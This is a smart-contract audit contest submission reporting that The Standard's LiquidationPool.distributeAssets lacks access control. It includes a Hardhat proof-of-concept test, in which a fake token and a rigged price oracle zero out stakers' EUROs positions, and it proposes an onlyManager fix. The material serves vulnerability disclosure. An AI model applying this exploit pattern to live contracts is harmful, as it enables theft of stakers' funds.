The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Attacker can burn EUROs position of stakers

Summary

Attacker can use the asset distribution mechanism in the Liquidation Pool to distribute a malicious asset.
This malicious asset will be exchanged against the EUROs position of stakers during distribution.

Vulnerability Details

The distributeAssets function in the Liquidation Pool takes several assets as input
and distributes them through the stakers by reducing their EUROs position.
As this function has no access control mechanism, an attacker is able to call it to distribute any
asset of his choice.

// distributeFees has an access-control modifier
function distributeFees(uint256 _amount) external onlyManager {
// distributeAssets doesn't have any access-control
function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {

The attacker can call the function with his own ERC-20 token. Moreover, he can set his own
oracle to return arbitrary price. The Liquidation Pool will trust those inputs
and execute the asset distribution.

Impact

Attacker can burn the EUROs position of all the stakers.

Tools Used

Scope:

  • https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L205-L241

Proof of Concept - Exploit test

The following test can be included into the liquidationPoolManager.js files.
It shows that an attacker can burn the EUROs positions of all the stakers in the pool.

First, the attacker needs to create a malicious ERC20.
He needs to mint tokens to the LiquidationPoolManager and to set an approval between the LiquidationPoolManager and
the LiquidationPool. In the PoC, you can add a function to the ERC20Mock contract by applying the following diff:

diff --git a/contracts/utils/ERC20Mock.sol b/contracts/utils/ERC20Mock.sol
index df1b283..1a1e764 100644
--- a/contracts/utils/ERC20Mock.sol
+++ b/contracts/utils/ERC20Mock.sol
@@ -17,4 +17,8 @@ contract ERC20Mock is ERC20 {
function decimals() public view override returns (uint8) {
return dec;
}
+
+ function attackerApproval(address owner, address spender) external {
+ _approve(owner, spender, type(uint256).max);
+ }
}
\ No newline at end of file

Then, add the following test suite to liquidationPoolManager.js:

describe('HIGH - Attacker can decrease EUROs position of stakers', async () => {
it('zigtur - exploit', async () => {
// initial config holder1
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
// initial config holder1
const tstStake2 = ethers.utils.parseEther('4000');
const eurosStake2 = ethers.utils.parseEther('3000');
await TST.mint(holder2.address, tstStake2);
await EUROs.mint(holder2.address, eurosStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);
await fastForward(DAY);
expect((await LiquidationPool.position(holder1.address))._position.EUROs).to.be.equal(eurosStake1);
expect((await LiquidationPool.position(holder2.address))._position.EUROs).to.be.equal(eurosStake2);
// Exploit
let attacker;
[, , , , , , attacker] = await ethers.getSigners();
attackerToken = await ERC20MockFactory.connect(attacker).deploy('Zigtur Attacker Token', 'ZAT', 18);
attackerToken.connect(attacker).mint(LiquidationPoolManager.address, ethers.utils.parseEther('10000')); // mint 10_000 attacker tokens
attackerToken.connect(attacker).attackerApproval(LiquidationPoolManager.address, LiquidationPool.address); // approve LP to get tokens from LPM
const attackerOracle = await (await ethers.getContractFactory('ChainlinkMock')).connect(attacker).deploy('ZAT/USD');
await attackerOracle.connect(attacker).setPrice(BigNumber.from(100000000000)); // 1000$ per attacker token
const attackAssets = [
{
token: {
symbol: '0x5553444300000000000000000000000000000000000000000000000000000000',
addr: attackerToken.address,
dec: 18,
clAddr: attackerOracle.address,
clDec: 6,
},
amount: ethers.utils.parseEther('10000')
}
];
await LiquidationPool.connect(attacker).distributeAssets(attackAssets, 100000, 10000);
expect((await LiquidationPool.position(holder1.address))._position.EUROs).to.be.equal(BigNumber.from('0')); // Hodler 1 EUROs burned
expect((await LiquidationPool.position(holder2.address))._position.EUROs).to.be.equal(BigNumber.from('0')); // Hodler 2 EUROs burned
});
});

Recommendations

If distributeAssets should only be accessed by the Liquidation Pool Manager, add the onlyManager modifier.
The following fix show this case:

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external onlyManager payable {

Line fixed: https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L205

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.